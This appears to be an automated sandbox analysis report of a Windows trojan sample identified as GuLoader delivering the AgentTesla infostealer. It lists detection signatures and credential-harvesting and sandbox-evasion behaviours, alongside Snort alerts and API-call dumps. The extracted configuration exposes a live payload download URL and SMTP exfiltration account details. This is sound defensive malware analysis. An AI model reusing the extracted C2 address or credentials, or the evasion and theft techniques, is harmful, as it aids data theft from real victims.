Windows Analysis Report
SecuriteInfo.com.Trojan.Inject.11626.exe

Overview

General Information

Sample Name: SecuriteInfo.com.Trojan.Inject.11626.exe
Analysis ID: 635338
MD5: dd43bd8cdc55dd9c8a168f7d5e67db30
SHA1: b7b49d8b277b6cb3d3006e912ad78558872119fb
SHA256: 7dc00d4ca525d39db7c57bcbcf2a17720f3e1d2eaecfc714f5e28f0e2a09633b
Infos:

Detection

AgentTesla, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected AgentTesla
Yara detected GuLoader
Snort IDS alert for network traffic
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Contains functionality to detect virtual machines (SMSW)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to detect virtual machines (SGDT)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000001.00000002.14985940057.0000000003391000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "http://185.222.57.79/SALES/muhasebe@par%20v4_zZlYyWbWEF39.bin1"}
Source: CasPol.exe.1888.3.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "muhasebe@parkhotelizmir.comzHhYkTCp0(bkmail.parkhotelizmir.comsaleseuropower2@yandex.com"}
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Virustotal: Detection: 11% Perma Link
Uses 32bit PE files
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\ThrottlePlugin.pdb source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\ThrottlePlugin.pdb00 source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 1_2_00405D74
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0040290B FindFirstFileW, 1_2_0040290B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0040699E FindFirstFileW,FindClose, 1_2_0040699E

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2018752 ET TROJAN Generic .bin download from Dotted Quad 192.168.11.20:49754 -> 185.222.57.79:80
Source: Traffic Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.11.20:49763 -> 45.10.148.33:587
Source: Traffic Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.11.20:49763 -> 45.10.148.33:587
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.222.57.79/SALES/muhasebe@par%20v4_zZlYyWbWEF39.bin1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ROOTLAYERNETNL ROOTLAYERNETNL
Source: Joe Sandbox View ASN Name: EKSENBILISIMTR EKSENBILISIMTR
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /SALES/muhasebe@par%20v4_zZlYyWbWEF39.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 185.222.57.79Cache-Control: no-cache
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49763 -> 45.10.148.33:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49763 -> 45.10.148.33:587
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: unknown TCP traffic detected without corresponding DNS query: 185.222.57.79
Source: CasPol.exe, 00000005.00000002.19759961032.000000001D813000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000005.00000002.19734742085.000000000133A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.222.57.79/SALES/muhasebe
Source: CasPol.exe, 00000005.00000002.19759961032.000000001D813000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2HBIa742d4finT.com
Source: CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/licenses/by-sa/4.0/
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#Attribution
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#DerivativeWorks
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#Distribution
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#Notice
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#Reproduction
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14981287805.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, user-not-tracked-symbolic.svg.1.dr String found in binary or memory: http://creativecommons.org/ns#ShareAlike
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl.globalsign.com/gsextendcodesignsha2g3.crl0
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0b
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: CasPol.exe, 00000005.00000002.19760423479.000000001D872000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mail.parkhotelizmir.com
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, FRATERNATE.exe.5.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://ocsp2.globalsign.com/gsextendcodesignsha2g30U
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://secure.globalsign.com/cacert/gsextendcodesignsha2g3ocsp.crt0
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://yogqTE.com
Source: CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org%4
Source: CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14983490705.0000000002987000.00000004.00000800.00020000.00000000.sdmp, ThrottlePlugin.dll.1.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: CasPol.exe, 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: mail.parkhotelizmir.com
Source: global traffic HTTP traffic detected: GET /SALES/muhasebe@par%20v4_zZlYyWbWEF39.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 185.222.57.79Cache-Control: no-cache
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 1_2_00405809

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: Process Memory Space: CasPol.exe PID: 4392, type: MEMORYSTR Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Uses 32bit PE files
Source: SecuriteInfo.com.Trojan.Inject.11626.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: Process Memory Space: CasPol.exe PID: 4392, type: MEMORYSTR Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_00403640
Detected potential crypto function
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00406D5F 1_2_00406D5F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_70E21BFF 1_2_70E21BFF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339CE66 1_2_0339CE66
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339DF3D 1_2_0339DF3D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03395526 1_2_03395526
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398515 1_2_03398515
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03396101 1_2_03396101
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398563 1_2_03398563
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398B95 1_2_03398B95
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398A3A 1_2_03398A3A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398626 1_2_03398626
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03395810 1_2_03395810
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03396812 1_2_03396812
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03396616 1_2_03396616
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398A08 1_2_03398A08
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398877 1_2_03398877
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_033968BB 1_2_033968BB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_033966A3 1_2_033966A3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339E899 1_2_0339E899
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339EEF9 1_2_0339EEF9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339F0EF 1_2_0339F0EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_033966CB 1_2_033966CB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398ECB 1_2_03398ECB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398EC2 1_2_03398EC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01001130 5_2_01001130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01004320 5_2_01004320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01003A50 5_2_01003A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0100CCB0 5_2_0100CCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0100BF50 5_2_0100BF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01003708 5_2_01003708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_010818C0 5_2_010818C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01088068 5_2_01088068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01082B18 5_2_01082B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0142AC50 5_2_0142AC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01426098 5_2_01426098
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_014252B0 5_2_014252B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01421D28 5_2_01421D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_014244F8 5_2_014244F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_014232A8 5_2_014232A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0156ED70 5_2_0156ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0156E90B 5_2_0156E90B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01561B90 5_2_01561B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0156B6ED 5_2_0156B6ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01562AE8 5_2_01562AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01567120 5_2_01567120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01560040 5_2_01560040
